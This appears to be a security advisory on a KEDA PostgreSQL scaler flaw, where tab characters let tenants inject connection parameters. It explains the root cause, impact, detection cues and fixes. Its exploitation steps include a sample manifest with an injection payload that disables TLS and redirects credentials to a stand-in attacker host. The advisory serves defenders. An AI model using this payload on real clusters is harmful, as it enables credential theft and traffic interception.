CVE-2026-53572: 
Chainguard vulnerability analysis and mitigation

CVE-2026-53572 is a PostgreSQL connection string parameter injection vulnerability in KEDA (Kubernetes Event-driven Autoscaling) caused by incomplete whitespace escaping in the PostgreSQL scaler component. The flaw exists in pkg/scalers/postgresql_scaler.go and affects all KEDA versions up to and including 2.19.x; version 2.20.0 contains the fix. It was originally published on June 1, 2026, and added to the GitHub Advisory Database on July 7, 2026. The vulnerability carries a CVSS v3.1 base score of 5.9 (Moderate) (Github Advisory, KEDA Advisory).

The root cause is an incomplete input sanitization function, escapePostgreConnectionParameter, classified under CWE-74 (Injection) and CWE-89 (SQL Injection). The function only wraps a value in single quotes and escapes embedded single quotes when a literal space character is detected — it does not handle other libpq/pgx whitespace delimiters such as tabs (\t), newlines (\n), carriage returns (\r), or form feeds (\f). Because pgx treats all these characters as key=value pair separators, a tenant-supplied field value like mydb\tsslmode=disable\thost=attacker.example.com passes through the escape function unchanged and is subsequently parsed by pgx as multiple distinct connection parameters. The vulnerable code is located at lines 155–164 and 250–257 of pkg/scalers/postgresql_scaler.go, and the attack requires only low privileges (the ability to create a TriggerAuthentication or ScaledObject resource in the cluster) (Github Advisory, KEDA Advisory).

A tenant who can create or modify a TriggerAuthentication or ScaledObject resource can inject arbitrary libpq connection parameters into KEDA's PostgreSQL scaler. The most severe consequences are: (1) silently downgrading a TLS-enforced connection to plaintext (sslmode=disable), enabling on-path man-in-the-middle interception of database traffic; (2) redirecting the connection to an attacker-controlled host to harvest the database credentials supplied by the cluster operator via the password= keyword; and (3) appending arbitrary runtime parameters (options=, application_name=, target_session_attrs=) to manipulate connection behavior. While the password= keyword is appended last in buildConnArray (limiting some exfiltration paths), an injected host= parameter still redirects the connection — and the password — to the attacker's endpoint (KEDA Advisory).

A proof-of-concept trigger is publicly documented in the GitHub Security Advisory, demonstrating exploitation via a crafted ScaledObject or TriggerAuthentication manifest with tab-delimited injection payloads in the host field. Exploitation requires low privileges (Kubernetes RBAC permission to create the relevant resources) and high attack complexity due to the need to control tenant-level resources within the cluster. There is no evidence of in-the-wild exploitation, no CISA KEV catalog listing, and no EPSS score data available at this time (Github Advisory, KEDA Advisory).

1. Gain tenant-level access: Obtain Kubernetes RBAC permissions sufficient to create or modify a TriggerAuthentication or ScaledObject resource in a namespace where KEDA is active.
2. Craft a malicious manifest: Construct a ScaledObject or TriggerAuthentication YAML where one of the tenant-controllable fields (host, port, userName, dbName, or sslmode) contains tab-separated injection tokens, for example:

- type: postgresql
  metadata:
    host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
    port: "5432"
    userName: "keda"
    dbName: "metrics"
    sslmode: "require"
    query: "SELECT 1"

3. Apply the manifest: Submit the resource to the Kubernetes API server (kubectl apply -f malicious-scaledobject.yaml).
4. Trigger KEDA scaler evaluation: Wait for or trigger KEDA to evaluate the scaler, causing postgresql_scaler.go to call escapePostgreConnectionParameter on the injected host value. Because no literal space is present, the value is returned unchanged.
5. Parameter injection occurs: pgx parses the resulting connection string and splits on the embedded tab characters, interpreting sslmode=disable and host=attacker.example.com as separate parameters, overriding the intended values.
6. Harvest credentials or intercept traffic: The KEDA operator's database connection is redirected to attacker.example.com over plaintext, where the attacker can capture the password= credential transmitted in the connection string (KEDA Advisory).

• Kubernetes Resources: Unexpected ScaledObject or TriggerAuthentication resources with host, dbName, userName, or sslmode fields containing non-printable whitespace characters (tabs \t, newlines \n, carriage returns \r) or embedded key=value patterns.
• Network: Outbound TCP connections from the KEDA operator pod to unexpected PostgreSQL endpoints (port 5432 or custom ports) on external or attacker-controlled IP addresses; unencrypted PostgreSQL traffic (plaintext on port 5432) where TLS is expected.
• Logs: KEDA operator logs showing PostgreSQL scaler connections to hosts not matching the intended database hostname; pgx connection errors or authentication failures against unexpected hosts.
• Process/Pod: KEDA operator pod establishing connections to IPs outside the cluster's internal network range without prior authorization (KEDA Advisory).

Upgrade KEDA to version 2.20.0 or later, which contains the fix for this vulnerability. As a workaround prior to patching, restrict Kubernetes RBAC permissions so that only trusted administrators can create or modify TriggerAuthentication and ScaledObject resources, minimizing the tenant attack surface. The advisory also recommends that the fix should escape or reject all ASCII whitespace characters (\t, \n, \r, \f, \v, space) and backslashes in connection parameters, or preferably switch to URI-form connection strings (postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding, and validate each field against an allow-list pattern (KEDA Advisory, Github Advisory).